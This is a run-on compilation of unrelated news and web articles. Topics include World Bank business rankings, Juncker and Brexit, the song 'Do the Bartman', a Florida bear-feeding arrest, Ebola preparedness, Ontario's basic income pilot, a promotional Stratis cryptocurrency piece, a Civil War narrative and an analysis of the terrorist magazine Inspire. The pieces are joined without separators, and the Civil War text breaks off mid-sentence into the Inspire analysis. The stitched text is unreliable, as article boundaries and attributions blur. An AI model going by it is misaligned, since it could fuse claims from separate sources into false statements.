Besides El Salvador, 16 other economies – Botswana, Brunei Darussalam, India, Indonesia, Kenya, Lithuania, Maldives, Morocco, New Zealand, the Philippines, Rwanda, Saudi Arabia, Uruguay, Uzbekistan, Vietnam and Zambia – introduced or enhanced systems for filing and paying taxes online,” the World Bank said.
The Philippines, alongside Angola, Armenia, Indonesia, Italy and Niger, also improved the process efficiency when getting electricity, according to the World Bank.
The top 10 countries where it is easiest to do business were: New Zealand (DTF score of 86.55); Singapore (84.57); Denmark (84.06); South Korea (83.92); Hong Kong (83.44); the United States (82.54); the United Kingdom (82.22); Norway (82.16); Georgia (82.04); and Sweden (81.27).
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MOST READFLORENCE, Italy (Reuters) - European Commission President Jean-Claude Juncker took a swipe at Britain on Friday, saying he would not give a speech in English because the language was becoming less significant following Brexit.
“Slowly but surely English is losing importance in Europe,” Juncker told a conference in Florence before switching into French and drawing applause from his audience of EU officials, local leaders and Italian students.
Juncker, who hails from Luxembourg, speaks several European languages fluently and regularly uses English at international gatherings. He said he also wanted to speak French to be better understood in France ahead of Sunday’s final presidential election round.
The conference, on the state of the European Union, comes at a time of tensions between Brussels and London ahead of formal negotiations over Britain’s withdrawal from the 28-nation bloc.
Juncker said Britain’s decision to leave was “a tragedy”.
“We will negotiate fairly with our British friends, but let’s not forget that the EU is not abandoning the United Kingdom. It is the other way around. And that will make a difference in the years ahead.”
Speaking in English, the European Commission’s chief Brexit negotiator, Frenchman Michel Barnier, said a priority in the talks would be to guarantee rights for some 3.2 million EU citizens living in Britain and for some 1.2 million Britons living in EU member states.
He said protecting these rights was “a moral duty”.
FILE PHOTO: European Commission President Jean-Claude Juncker arrives at the EU summit in Brussels, Belgium, April 29, 2017. REUTERS/Olivier Hoslet/Pool/File Photo
“Nevertheless we can be certain that Brexit will inevitably entail a number of negative consequences. This is not a question of ‘punishment’. These negative consequences simply follow logically from the choice made by the British people.”
NO SECRECY
British Prime Minister Theresa May said this year that she had offered to guarantee the rights of EU citizens in Britain immediately but that this idea had been rejected. Barnier denied that others were to blame for the ongoing uncertainty.
“The only cause of uncertainty is Brexit,” he said.
He also dismissed suggestions in London that the talks should be largely secret. “I will do everything in my power to ensure that information on the negotiations is made public so that an informed debate can take place,” he said.
In a sign of growing friction and frustration, May accused EU politicians and officials on Wednesday of seeking to sway the outcome of a June 8 national election in Britain by issuing threats over Brexit.
A German newspaper at the weekend gave a damning account of a dinner last week between May and Juncker, reporting that he had told May that Brexit could not be a success.
The president of the European parliament, Antonio Tajani, told the Florence conference that no one was looking to undermine May, who says she called the snap election to strengthen her hand in the Brexit negotiations.
FILE PHOTO: Britain's Prime Minister Theresa May welcomes Head of the European Commission, President Jean-Claude Juncker to Downing Street in London, Britain April 26, 2017. REUTERS/Hannah McKay/File Photo
“No one wants to interfere in the British elections. Rather, we are happy that at the start of this process there will be a stable government with a mandate to resolve this problem,” Tajani said.
Juncker acknowledged that the European Union had its “weaknesses” and was partly to blame for the British decision to abandon ship. But he said the bloc’s successes, including helping maintain peace between nations, were often overlooked.
“We are criticized, torn to pieces, but elsewhere in the world we are admired,” he said. “We have overcome decades, centuries of bloodshed.”Business lunch.
Paul Krugman’s column today is an extensive rebuttal to misguided commentators. “It has been disheartening to see some commentators still writing as if poverty were simply a matter of values, as if the poor just mysteriously make bad choices and all would be well if they adopted middle-class values,” he writes. What’s more, “And it’s also disheartening to see commentators still purveying another debunked myth, that we’ve spent vast sums fighting poverty to no avail (because of values, you see.)” And further still, “Shrugging your shoulders as you attribute it all to values is an act of malign neglect. The poor don’t need lectures on morality, they need more resources — which we can afford to provide — and better economic opportunities, which we can also afford to provide through everything from training and subsidies to higher minimum wages.”
Wait. Who are these unnamed commentators and shoulder-shruggers? Perhaps Krugman is referring to David Brooks, whose column last week attributed poverty to moral problems. Since the Times does not allow direct arguments, Krugman could not name or directly quote his debate opponent. (Annie Lowrey, not bound by any such restriction, provides a more thorough skewering of the nonsense statistic undergirding Brooks’s column.)
The passive-aggressive war between Krugman and Brooks has actually been heating up for some time now. Brooks wrote an April 17 column about personal character, a favorite theme of his. Ten days later, Krugman wrote a column about commentators who have been proven wrong about policy, a favorite theme of his. Krugman concluded, “there’s also a moral issue involved. Refusing to accept responsibility for past errors is a serious character flaw in one’s private life. It rises to the level of real wrongdoing when policies that affect millions of lives are at stake.” This dispute actually drives right to the heart of the ethos separating the two otherwise sociologically similar columnists. Does the character flaw lie (as Brooks sees it) in pointing out that you were right, or (as Krugman sees it) in denying you were wrong?
Tune in next week to see if the world’s longest argument nobody will admit is taking place continues.Not to be confused with Do the Bart.
"Do the Bartman" is a song from the 1990 Simpsons album The Simpsons Sing the Blues. It was performed by The Simpsons cast member Nancy Cartwright (the voice of Bart Simpson), with backing vocals from Michael Jackson, alongside additional vocals from Dan Castellaneta (voice of Homer Simpson). It was produced and written by American recording artist Bryan Loren, and released as a single on November 20, 1990.
Despite receiving much radio airplay in the United States, "Do the Bartman" was never officially released as a single there. It topped the charts in Australia, Ireland, New Zealand, Norway, and the United Kingdom. Additionally, it reached the Top 10 in Belgium, Denmark, Finland, Spain, Sweden and the Netherlands, and was certified gold in the United Kingdom.
A music video, directed by Brad Bird, was released for the song in 1991. The video became a hit on the American network MTV, and received a nomination at the 1991 MTV Video Music Awards.
Background [ edit ]
The album The Simpsons Sing the Blues was released in September 1990. The first single from it was the rap song "Do the Bartman", performed by Bart Simpson's voice actor Nancy Cartwright and released on November 20, 1990.[2] Rumors began spreading in the summer of 1990 that Michael Jackson would write a song for Bart on the album.
This song was reported early on to be "Do the Bartman", but executive producer James L. Brooks issued a press release in September 1990 apologizing for the misunderstanding and stating that song was actually written by one of Jackson's friends, Bryan Loren.[3]
However, The Simpsons creator Matt Groening later stated during an appearance at the February 1998 World Animation Celebration convention in Pasadena, California that "Do the Bartman" was actually co-written and co-produced by Jackson,[2][4][5] but he could not receive credit for it because he was under contract to another record label.[6] Groening told a crowd at the convention that had gathered for a "The Simpsons tribute" that it had "always [been] amazing to me that no one ever found out that Michael Jackson wrote that song. [...] He was a big fan of the show."[7]
Jackson was a fan of The Simpsons, especially Bart,[8] and had called the producers one night offering to write Bart a number one single and do a guest spot on the show, which is how "Do the Bartman" came about.[9] Jackson eventually guest-starred in the episode "Stark Raving Dad" (season three, 1991) under the pseudonym John Jay Smith.[10]
He also wrote a song for that episode called "Happy Birthday Lisa", which was later included in the album Songs in the Key of Springfield.[11] Bryan Loren has stated that Jackson had provided background vocals for "Do the Bartman".[12][5]
In July 2015, when Bryan Loren was selling the publishing and songwriting rights for the song, Loren stated that "despite Matt Groening's repeated confessions, I am the sole writer of the song".[5] Loren stated that Jackson's contributions included back up vocals, providing the title "Do the Bartman" and that Jackson insisted his own name be mentioned in the lyrics.[5]
Critical reception [ edit ]
Critical reviews of the song were mostly positive. Ken Tucker of Entertainment Weekly described it as "not bad," and commented that Bart's high voice "echoes the beats nicely."[13] The Daily Vault's Benny Balneg liked that the song disengaged itself from the album's "blues tag" and incorporated more "contemporary elements" into its sound.[14] He added that he thought the song had a "catchy beat" and an "infectious chorus."[14]
The Long Beach Press-Telegram's Patricia Smith called "Do the Bartman" a "surprisingly funky tune."[15] Monika Bartyzel of Cinematical, however, thought the song was a "cheesy number."[16]
Chart performance [ edit ]
While the song was never officially released as a single in the United States, it did top the charts in Australia, Ireland, New Zealand, Norway, and the United Kingdom. In the latter country, the song spent three weeks at the top of the UK Singles Chart, and became Britain's seventh best selling song of 1991.[17] "Do the Bartman" has shipped at least 400,000 units in the United Kingdom, and was certified gold by the British Phonographic Industry on February 1, 1991.[18][19] The song's success in the United Kingdom was remarkable, given that at that time The Simpsons was airing only on British satellite television station Sky One. It would be five years before it was first on terrestrial television in Britain, airing on BBC One and later BBC Two.[20][21]
In Ireland, "Do the Bartman" spent nine weeks at number one on the Irish Singles Chart from January 24, 1991 to March 24, 1991.[22] Only nine singles have ever managed a longer run at number one in that country.[23] The song also charted at number one on New Zealand's RIANZ Singles Chart on the issue date of January 25, 1991, and peaked at number one on the chart again, for a total of two weeks, from February 8, 1991 to February 15, 1991.[24]
In March 1991, "Do the Bartman" became the first single to reach number one in Australia that was not available on 7-inch vinyl.[25]
Music video [ edit ]
The music video features the typical plot of Bart rebelling against authority when he decides to put his own spin on a rigidly choreographed dance presentation at Springfield Elementary School. The music video for "Do the Bartman" was directed by Brad Bird, with dance choreography by Michael Chambers. Nobody from the staff of The Simpsons wanted to direct it because they were busy doing the show, but Bird finally agreed to do it after having been asked four times. He had a very short amount of time to finish the video because it was supposed to coincide with the release of The Simpsons Sing the Blues.[4] It premiered after the episode "Bart the Daredevil" on the Fox network on December 6, 1990.
The entire music video was storyboarded in only two days in the United States. Bird then got on a plane to Budapest, Hungary, where the video was animated by Varga Studio. They thought the video was going to be animated as simply as the original The Simpsons shorts, shown on The Tracey Ullman Show, so when Bird told them that it was going to be done in full animation with no repeated scenes, they "went into deep shock".[4]
The animators added the wraparound at the beginning to set Bart against the crowd and put the video in "some sort of context."[4]
The video was nominated for Best Special Effects at the 1991 MTV Video Music Awards.[26][27] It was the number one music video on rotation on American MTV network between January and March 1991.[28] Following the death of Michael Jackson on June 25, 2009, the music video was broadcast by Fox on June 28, 2009—ahead of a rerun of the episode "Wedding for Disaster"—and featured a title card paying tribute to Jackson.[29]
Charts [ edit ]
Track listing [ edit ]
"Do the Bartman" (7" House Mix/Edit) – 3:54 "Do the Bartman" (LP edit) – 3:59
CD single:
"Do the Bartman" (7" House Mix/Edit) – 3:54 "Do the Bartman" (LP edit) – 3:59 "Do the Bartman" (Bad Bart House Mix) – 4:49 "Do the Bartman" (a cappella) – 3:44
Digital Download:
"Do the Bartman" (Diplo's Bartman So So Krispy Remix) – 4:27
See also [ edit ]Story highlights Mary Musselman put out 17-18 bowls of dog food at a time for black bears
Officials tried to educate her on why she should not do it
Bears can be dangerous to humans if they lose their fear of people
Officials: She received multiple warnings and still didn't comply
Don't feed the bears!
It's an admonishment heard over and over again from wildlife officials. But Florida resident Mary Musselman didn't listen, officials said.
And it got her arrested at age 81.
She is being held without bond, CNN affiliate WFTS reported
"I think it is outrageous," said Karen Tedder. She and other former students of the retired gym teacher held a gathering Thursday outside Musselman's house in Sebring to pray for her.
She must be released, they say, because her husband is dying of cancer and she's his only caregiver.
But authorities had warned her multiple times not to feed the black bears coming onto her property.
She did anyway. And she fed them a lot -- up to 17 to 18 bowls of dog food at a time, wildlife officials told the affiliate.
The bears loved it and kept coming back. The Florida Fish and Wildlife Commission hated it and kept coming back, too.
Killing a bear
Musselman's trouble with the law began last year, when wildlife officials had to put down a bear she was feeding, they said.
They went to great lengths to explain to her why she shouldn't give the wild animals food, said FWC spokesman Gary Morse. They brought her informational videos and pamphlets, had conversations with her.
"Feeding bears results in bears losing their fear of people," Morse said. After they get used to living around humans and getting food from them, relocating them does not solve the problem.
And when bears come too close to people, they do damage -- to property and to people, Morse said.
The education they gave Musselman was all for naught.
"She told us she wasn't going to stop," Morse told the affiliate.
Then, in November, they issued her an official warning. Weeks later, officers caught her feeding bears again. Out came the instructional videos once more.
Still no change.
The law steps in
In December, Musselman was ordered to appear in court, where -- this time -- a judge told her to stop feeding the bears. That didn't work either. On Christmas Eve, she was back in court; she left there on probation.
Again, the problem persisted: More food; more bears.
A judge sent wildlife commission officers to arrest Musselman. They said she fought them and told them she'd kill them.
Now she is charged not only with feeding wildlife but also with battery against a law officer and violating her probation.
Why wouldn't she stop?
She thought the bears would starve without her, according to the affiliate.
"She didn't want to accept that fact that they'd be fine without her," Morse said. "They hibernate when there is no food."
Her former students are trying to find a mental health professional to appear with her in court.This article is over 4 years old
Chief medical officer says Australia has ‘sophisticated, high-end capability’ for handling and outbreak
Ebola virus unlikely to reach Australia but authorities prepared if it does
It is highly unlikely that the deadly Ebola virus would reach Australia, but if it did the country would be well prepared to respond, medical experts say.
“While the possibility of Ebola coming to Australia is very low, we are closely monitoring the overseas outbreak and Australia’s domestic response,” Australia’s chief medical officer, Professor Chris Baggoley, said in a statement.
There have been 1,201 cases of Ebola and 672 deaths in Guinea, Liberia and Sierra Leone since March, says the World Health Organisation (WHO), which has warned that drastic action is needed to stop the virus from spreading internationally.
Ebola has a 90% fatality rate and, once contracted, can kill victims in days.
There is no cure for the virus, which causes severe fever and muscle pain, vomiting, diarrhoea and, in some cases, organ failure and unstoppable bleeding.
Australia has started taking steps to prevent it arriving by warning on Tuesday against travel to Guinea, Liberia and Sierra Leone.
Baggoley said all border protection agencies were on alert to look out for the possibility of Ebola when identifying a person landing in Australia who is unwell.
He said on Tuesday a meeting was convened of the communicable diseases network of Australia, consisting of the key infectious diseases doctors, with all state and territory health authorities represented to discuss the possibility of the disease coming to Australia and ways to respond.
If Ebola reached here, Australia would be well placed to respond, he said.
“If in fact there was a suspected case, Australia has sophisticated, high-end laboratory diagnostic capability at physical containment level 4 [the highest level], which provides laboratory space, testing facilities, diagnostic methods, and highly trained virology and medical science staff capable of handling Ebola and other viruses that cause viral haemorrhagic fever.”
University of Sydney’s Professor Edward Holmes, an evolutionary biologist who has worked on viruses and other microbes for more than 20 years, agreed that there was a slim chance the virus could reach Australia.
“Essentially all viruses are able to move because people move,” he said. “There is always a chance – I’d say at the moment that chance is slim because it’s confined to three countries in West Africa.”
He said the risk of passing on the disease, even for people coming from Africa, was low.
The virus is passed on by body fluids, requiring close contact for someone to become infected.
“It’s not like a flu that spreads via airborne droplets,” he said. “That’s why a lot of the people who have become sick are medical workers who are intimately connected to the patients.”Hey guys, first of all, congrats on the release, and thanks for taking the time to answer our questions! Could you introduce yourselves to the community?
Thanks for reaching out to us! I’m Arthur Shek, the Technical Art Director at Turn 10. I’m responsible for leading our team to optimize content authoring workflows and take advantage of new tech. I have some folks from our art team with me, so I’ll let them introduce themselves.
Hi, my name is Tyler Finney. I’m the Lead Concept Artist for Turn 10. Our Concept team is not only responsible for pre-production concept and visual direction throughout production, but also high-concept asset creation in special cases, such as our driver suits.
Hello, my name is Toren Lehrmann and I’m a 3D Artist at Turn 10, specializing in shaders and materials. I was responsible for creating, editing, and managing the shader library for cars, tracks, and drivers on the project. Shaders are the backbone for a material in our proprietary ForzaTech engine, and they contain the instructions, textures, and parameters which determine the look for assets in the game.
If we include the Forza Horizon Franchise, Forza Motorsport 7 is the 10th game developed or co-developed by Turn 10, with an average score of 88% on Metacritic (some developers would kill for this)! How do you organize and motivate yourselves to constantly improve your franchise?
As a first-party studio at Microsoft, one of Turn 10’s goals is to showcase Microsoft hardware and software, namely Xbox and Windows Gaming. We certainly feel that challenge and that motivates a desire to be best in class. Our studio has a great blend of automotive fanatics, combined with a strong passion for cutting-edge graphics and gameplay. Hiring the right mix of people has always been key to our success.
Let’s talk about Art Direction: despite being visually stunning, and hyper-realistic, the Forza Motorsport franchise has its own unique "touch". How would you describe this, and what kind of techniques do you use to reinforce this visual identity?
During production on Forza 7, we adopted a term that we used to summarize our visual initiatives - “Beautiful Racing”. We organized a strike team around this topic to determine what visual features we wanted to drive to support our core gameplay and new design features, such as dynamic weather and the intense thrill of racing. That team had a lot of discussions – A LOT of discussions. We created a bunch of prototypes, new production techniques, and visuals that also fed back into the design. Our biggest challenge was taking an abstract term like “Beautiful Racing” and turning that into a list of specific work to do, but somewhere in that magic mix, we hit on something that worked. We’ve been incredibly pleased to see reviews calling out our beautiful racing because it means our work paid off when it comes back to us in the words that we started out with.Earlier this year Canadian officials in Ontario announced plans to test a basic income project. Now they are moving forward with a 2017 start date. Ontario citizens living under the poverty line will receive a certain amount of money each month with no strings attached. Conservative strategist Hugh Segal thinks the project could help Canada determine whether a basic income will reduce pressures on healthcare spending and encourage people to work.
The government tasked Segal with exploring the idea, and he released a lengthy discussion paper around the end of the summer. He noted the pilot project is meant to provide evidence on how the program might improve lives. For example, as opposed to traditional welfare programs, the money could responsibly help people working low-paying jobs and might strengthen motivation to work. Segal argued in his paper that current eligibility programs are seriously demeaning, and can only go so far in alleviating poverty. “Our present social assistance system imposes limits on economic progress, often keeping welfare recipients from entering the economic mainstream,” he wrote in his paper.
Related: Canada is planning to give people free money, just for being citizens
In an interview with The Guardian, Segal said basic income could “give people a floor beneath which they’re not allowed to fall.” Under the pilot project, citizens 18 to 65 under the poverty line will receive $1,320 every month, and disabled people will receive $1,820. People will receive basic income whether they are employed or not. According to Big Think, the basic income idea has bipartisan appeal because it could totally shake up the welfare system and provide people with opportunities.
Segal said for Ontario to get a true sense of whether or not the project is working, the basic income experiment should run for a minimum of three years.
Via Big Think and The Guardian
Images via jsnsndr on Flickr and Dennis Jarvis on FlickrStratis - Revolutionizing Blockchain Technology
September 10, 2017
Stratis is a very powerful blockchain-as-a-service platform that is focused around the requirements of financial services and other businesses that aim to utilize blockchain technology. Blockchain technology is becoming a revolutionary movement in numerous sectors including medical, financial, and technological. With this said, Stratis is focusing on becoming the most widely adopted BaaS platform.
Why Stratis?
Now you may be wondering why Stratis? Well, the answer put simply is that Stratis allows corporations and businesses to develop their own custom blockchain applications. This is highly beneficial for businesses because it allows for a simple development process of applications that are centered towards using blockchain technology. The aspect that makes it so revolutionary is that these blockchain applications can be developed in C# and make use (light or heavy – depends on the goals of the developers) of the Microsoft.NET framework.
As part of Stratis’ roadmap, sidechains are to be implemented in Q4 2017. Businesses can use the Stratis sidechains to develop and launch their own blockchain-based applications. This is essential as it allows businesses to build their own blockchain applications without the worries of having to build and maintain their own blockchain infrastructure. Along with this, any transactions that occur on a Stratis sidechain avoid the worries of being bloated. This is crucial because it has been seen before with Ethereum-based ICO’s where the main chain was bloated with transactions causing severe transaction waiting periods. If ICO’s are to be launched on a platform, the use of sidechains would greatly alleviate this issue – which Stratis is envisioning as part of their goal.
Real world use cases:
Seafood Industry:
Stratis teamed up with Earth Twine on August 16, 2017. This partnership commenced the first dedicated blockchain for origin data and tracking for the international seafood industry. The Earth Twine group will work with Stratis technology to provide a way of tracking mandatory data for IUU fishing compliance. Stratis will create a dedicated blockchain and token to amalgamate international seafood tracking onto the blockchain. The global fish and seafood industry generates large revenues annually amounting to over $100B+. The partnership between Earth Twine and Stratis will ultimately help confirm and validate the information as being true and legitimate. Commencing in January 2018, the data regarding imports and tracking of information will be collected electronically. Stratis will make the process of tracking data in this industry very easy and will be highly beneficial for the Earth Twine group as well as further seafood industry organizations down the road.
Medical Research:
The Stratis blockchain will be highly beneficial in the medical sector as it will resolve issues regarding publication and research by offering an immutable store of records. Since this information cannot be maliciously altered, researchers and publishers working on medical research can verify the integrity and legitimacy of a record on the Stratis blockchain.
Financial Technology:
Stratis has a lot of ability to shine in this space because the team looks to solve issues such as eliminating the need to put trust into 3rd party escrows, identity management, and KYC (know your customer) compliances by utilizing the powerful blockchain technology that Stratis provides.
Stratis vs. Ethereum
I have seen a lot of reoccurring questions regarding the similarities and differences between the Stratis project and the Ethereum project. Although there are some similarities that both platforms can relate to, there are also several key differences that I will note in Table 1:
Table 1: Differences and Similarities between Ethereum and Stratis.
As Table 1 depicts, Ethereum and Stratis both support smart contracts, but the major difference is the language which these contracts are developed. C# is a common language amongst the software development community, whereas Solidity is not. This ultimately means that the creation of smart contracts on the Ethereum blockchain comes at the cost of having to learn the Solidity programming language – which can be a big burden to developers of businesses, as C# is more recognized and more widely adopted.
Stratis Roadmap:
Breeze Wallet
The Breeze Wallet is an upcoming software wallet that is aiming to integrate the TumbleBit technology to provide seamlessly private transactions across the network without the need for a centralized mixing service or another privacy-based cryptocurrency. Privacy is becoming more of a demand in this day and age, especially on the blockchain. A big obstacle of mainstream adoption of blockchain technology is the privacy and integrity of financial data on the chain. When the privacy protocol is implemented successfully into the Stratis platform, businesses in the financial industry can be assured that records and data remain private.
The TumbleBit technology provides the following guarantees:
Transactions are private and unlinkable. TumbleBit is fully compatible with the Bitcoin protocol. It is impossible for anyone to steal your payments.
Another benefit of the Breeze Wallet is the seamlessly efficient and easy exchange from Stratis to Bitcoin, and vice-versa. The implementation of TumbleBit in the Breeze Wallet will allow for a trustless and cryptographically secure exchange between Bitcoin and Stratis. The development of the Breeze Wallet which supports enhanced privacy for Bitcoin transactions is expected to bring an influx of users of Bitcoin to the wallet. Doing so, this will allow Stratis to be more widely exposed to a whole new geographical set of users.
The Breeze Wallet Alpha is coming soon after efficient testing has been completed, which will segue into a full out version of the Breeze Wallet on the Stratis mainnet.
Sidechains
As mentioned previously, Stratis will be the go-to hub for creating blockchain applications on Sidechains provided by the infrastructure. Developers can easily build their applications in C# and not have to worry about learning a less-known programming language. Along with the sidechain, there is a guarantee that the main network is not congested with activity generated by a business or corporation. As we progress over time, Stratis will be able to shine by providing sidechains to businesses that want to create their own applications, but not have to worry about developing and maintaining their own network and infrastructure.
Stratis Identity
The goals and visions of Stratis also include identity management which is becoming more of a requirement as regulation of cryptocurrencies and mainstream adoption of cryptocurrencies progresses. Software developers who are looking to build on Stratis sidechains will be able to build applications focusing on identity management. KYC compliance issues will also be resolved through identity management.
Conclusion
Overall, Stratis is still a highly-undervalued project that has huge potential to shine. The team is continuously working hard to deliver development milestones. Just by looking at the ICO price (~$0.02) up until the ATH (all-time-high) of $11.67 is an astronomical gain, considering the young age of Stratis. With the development of the project still continuing, and growing, we are yet to see Stratis’ true potential in becoming a revolutionary one-stop shop of a blockchain-as-a-service (BaaS) platform.
I hope this article has helped you understand and learn more about the technicalities and goals of the Stratis team.
This is in no way any investing advice, merely an introduction of Stratis and the upcoming milestones of the project.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
July 12, 2014, 1:15 AM GMT / Updated July 12, 2014, 1:19 AM GMT
Seattle City Attorney Pete Holmes, one of the biggest backers of Washington's legal marijuana initiative, apologized Friday for taking his legally bought pot to the office — and thereby violating the city's drug-free workplace policy.
Holmes, who helped sponsor Initiative 502, which made Washington the second state to legalize sales of small amounts of recreational marijuana, showed up at Seattle's only legal pot store Tuesday to be one of the first Seattleites to make a purchase. But while the marijuana law has changed, "the workplace rule has not changed," Holmes said in a statement Friday. After discussions with the city's personnel department, he said, "I have volunteered to donate $3,000 to the Downtown Emergency Service Center. I apologize to my employees, all city employees and to the public."England midfielder Frank Lampard is expected to join Manchester City on loan in a six-month deal from New York City FC that would end any chance of the former Chelsea star playing in the A-League.
The 36-year-old's new Major League Soccer (MLS) club is backed by Manchester City, which also owns the rebranded Melbourne City.
Despite recent speculation, Frank Lampard is likely to bypass the A-League. Credit:AFP
It was suggested Chelsea's all-time top scorer would join Spanish star David Villa at Melbourne City on a 10-game loan spell later this year before linking with his MLS club for their inaugural season, which starts next March.
The New York Daily News reported that Lampard, who signed a two-year deal last week with New York City FC, will be loaned to the English Premier League champions.Disunion follows the Civil War as it unfolded.
On the evening of May 10, 1864, on the first anniversary of the battlefield death of Gen. Thomas “Stonewall” Jackson, who had been a professor at the Virginia Military Institute before the war, some 300 V.M.I. cadets paraded the lush grounds in full dress while bands played and nearby townsfolk came to pay their respects. “Groups of girls in filmy garments set off with bits of color came tripping across the sod; and children and nurses sat about the benches at the guard-tree,” one cadet recalled.
The scene of secluded peacefulness in Lexington, Va., stood in sharp contrast to the pitched and bloody fighting only miles to the east. Maj. Gen. Ulysses S. Grant was moving south into central Virginia with an enormous army, and at that very moment was locked in the Battle of Spotsylvania Court House with the forces of Confederate Gen. Robert E. Lee.
Back in Lexington, however, the cadets had retired for the night, only to have their youthful dreams interrupted by a nocturnal roll call. The cadet corps stood at a sleepy parade rest as the adjutant read the unprecedented orders in his hand. By direct order of Maj. Gen. John C. Breckenridge, under authority from General Lee himself, the Corps of Cadets — some as young as 15 — was ordered to march immediately to Staunton, Va., to support Breckenridge’s forces, now preparing to meet an impending Union advance up the Shenandoah Valley.
A major advance it was. In the past, numerically superior Union forces had insufficiently coordinated their attacks, thus allowing more nimble Confederate forces to rebound quickly from one engagement to meet the next. Grant determined to mount concurrent assaults on Confederate positions in several theaters, stretching the Confederate defenses beyond their ability to respond.
In the West, Gen. Nathaniel Banks, in cooperation with naval forces under Adm. David Farragut, would move against Mobile, Ala., one of the last functioning Confederate ports. Meanwhile, Gen. William T. Sherman chased Joseph Johnston’s Army of Tennessee from Chattanooga, Tenn., toward Atlanta. Gen. Benjamin Butler would attempt to move against Richmond, Va., via the James River, while major engagements took place with Gen. George Meade and Grant confronting Lee’s Army of Northern Virginia. But one more attack was called for.
Since the beginning of the war, the Shenandoah Valley — the Breadbasket of the Confederacy — had funneled needed food and supplies to hungry Confederate troops, with Staunton as the neck of the funnel. Staunton in 1860 had a population of about 4,000, but with strategic influence far surpassing its size. Staunton was located at the intersection of the Valley Pike (which for centuries provided easy north-south access through the Shenandoah Valley) and the east-west Staunton-Parkersburg Turnpike. The Virginia Central Railroad also offered transportation through Staunton directly to Richmond.
From Grant’s perspective, until that funnel could be closed, Lee’s Army of Northern Virginia could continue to fight. Thus, as part of his spring 1864 offensive, Grant ordered newly promoted Maj. Gen. Franz Sigel to rid the Shenandoah Valley of Confederate troops, shutting off that vital supply lifeline.
Sigel was a curious choice for such a critical mission. One of many “political” Union generals — he was promoted to appease the loyal German population — Sigel had a conspicuously undistinguished military career, with several defeats to his credit. In addition to lackluster strategic and tactical skills, he had a tendency under stress to bark orders in German, mystifying most of his command. Nonetheless, as Grant’s choice, and with almost 9,000 troops under his immediate command, Sigel began his march up the valley to Staunton.
Lee understood the need to hold Staunton, and he ordered Breckenridge to assemble what troops he could find and repulse the expected Union campaign. A political general in a different sense, Breckenridge was a former speaker of the Kentucky House, a United States representative and senator and the vice president under James Buchanan. He ran second to Abraham Lincoln in the 1860 election. But as the war gathered momentum, Breckenridge resigned from the Senate and accepted a commission in the Confederate army. Despite a lack of military training and experience, he distinguished himself at Chickamauga in the western theater and made an able choice to |
fact that a photograph of Austin, Texas, appears in the magazine does not mean that the city is somehow being secretly targeted for attack by jihadist sleeper cells.
But laughing at the magazine or dismissing it as irrelevant would be imprudent. The magazine has in fact inspired several terrorist plots. In some cases, the connections to the magazine have been obvious, as in cases where plotters have attempted to assemble improvised explosive devices using instructions provided in Inspire magazine's first edition. This happened in July 2011, when U.S. Army Pfc. Naser Jason Abdo was arrested as he attempted to assemble explosive devices he planned to use in an attack against a restaurant in Killeen, Texas, that was popular with soldiers from nearby Fort Hood.
In November 2011, the New York Police Department arrested Jose Pimentel, also known as Muhammad Yusuf, a 27-year-old Dominican-American. Pimentel was arrested at an apartment in Manhattan as he was allegedly constructing homemade improvised explosive devices, again following the instructions provided in Inspire.
Other cases have not been as blatant as those involving Abdo and Pimentel. However, they have involved individuals who were radicalized or motivated by Inspire. As recently as March 15, three men in the United Kingdom pleaded guilty to terrorism charges related to attending terrorism training camps in Pakistan. The men allegedly were motivated by Inspire. They had discussed attack ideas from the magazine, and the wife of one of the men was convicted in December 2012 on charges of possessing two digital copies of the magazine on a memory card.
There are several other recent and notable cases connected to Inspire magazine.
On Nov. 29, 2012, two brothers from Florida, Raees Alam Qazi and Sheheryar Alam Qazi, were arrested and charged with plotting attacks in New York. Prosecutors noted that the pair had been motivated by Inspire magazine.
On Oct. 17, 2012, Bangladeshi national Quazi Nafis was arrested as part of an FBI sting operation after he attempted to detonate a vehicle bomb outside New York's Federal Reserve Bank. Nafis reportedly was an avid reader of Inspire magazine.
On Sept. 15, 2012, Adel Daoud, another avid Inspire reader, was arrested after he parked a Jeep Cherokee outside a Chicago bar and attempted to detonate the bomb he thought it contained. His was also an FBI sting operation.
On April 25, 2012, four men were arrested in the British town of Luton and charged with plotting attacks against a British army base. The four were also charged with downloading and possessing six editions of Inspire magazine. They pleaded guilty March 1, 2013.
Target Audience
Some commentators have noted that most of the suspects arrested in connection with these plots were fairly hapless and clueless — the type of individuals we have long referred to as "Kramer jihadists." Though partly incompetent, these grassroots operatives are exactly the demographic al Qaeda in the Arabian Peninsula is targeting for radicalization and mobilization.
Inspire seeks to reach amateur terrorists living in the West; professional terrorists already know how to create pipe bombs. For this reason, the magazine urges amateurs to undertake simple attacks rather than the complex attacks. Too often they find assistance from an FBI informant.
It is a grave error to dismiss Kramer jihadists and assume they pose no threat. They can indeed kill people if they heed the advice of al Qaeda in the Arabian Peninsula and conduct simple attacks that are within their capability. That is what Maj. Nidal Hasan did in Fort Hood in November 2009 and what Abdulhakim Mujahid Muhammad, also known as Carlos Bledsoe, did in June 2009. Both men were inspired to action by al Qaeda in the Arabian Peninsula.
Kramer jihadists can also be deadly if they actually find a real terrorist, rather than a government informant, to assist or equip them. It is very important to remember that amateur, committed jihadists such as shoe bomber Richard Reid and underwear bomber Umar Farouk Abdulmutallab nearly succeeded in destroying an airliner.
Twenty years ago last month, I witnessed firsthand the dangers of discounting Kramer jihadists when I peered into a massive crater in the floor of the World Trade Center parking garage. The FBI had deemed those responsible for the attack too hapless to do much more than assassinate the leader of the Jewish Defense League in a midtown Manhattan hotel. And they were — until a trained terrorist operative traveled to New York and organized their efforts, enabling them to construct, deliver and detonate a massive 590-kilogram (1,300-pound) truck bomb.
I also take umbrage at those who snicker at the thought of grassroots jihadists lighting fires. As noted last month, I believe that fire is an underappreciated threat. Many people simply do not realize how deadly a weapon it can be, even though starting fires does not require sophisticated terrorist tradecraft.
Some Revelations
Despite claims to the contrary, Inspire 10 reveals much about al Qaeda in the Arabian Peninsula. Like all propaganda and political rhetoric, its assertions must not be taken at face value. But to claim that the magazine tells us nothing about al Qaeda in the Arabian Peninsula is simply lazy analysis.
Clearly, the concept of reaching out and attempting to radicalize and equip English-speaking jihadists was not something promoted only by Anwar al-Awlaki and Khan. English-speaking outreach has continued after their deaths. The group maintains that traveling to places such as Yemen for training is too dangerous.
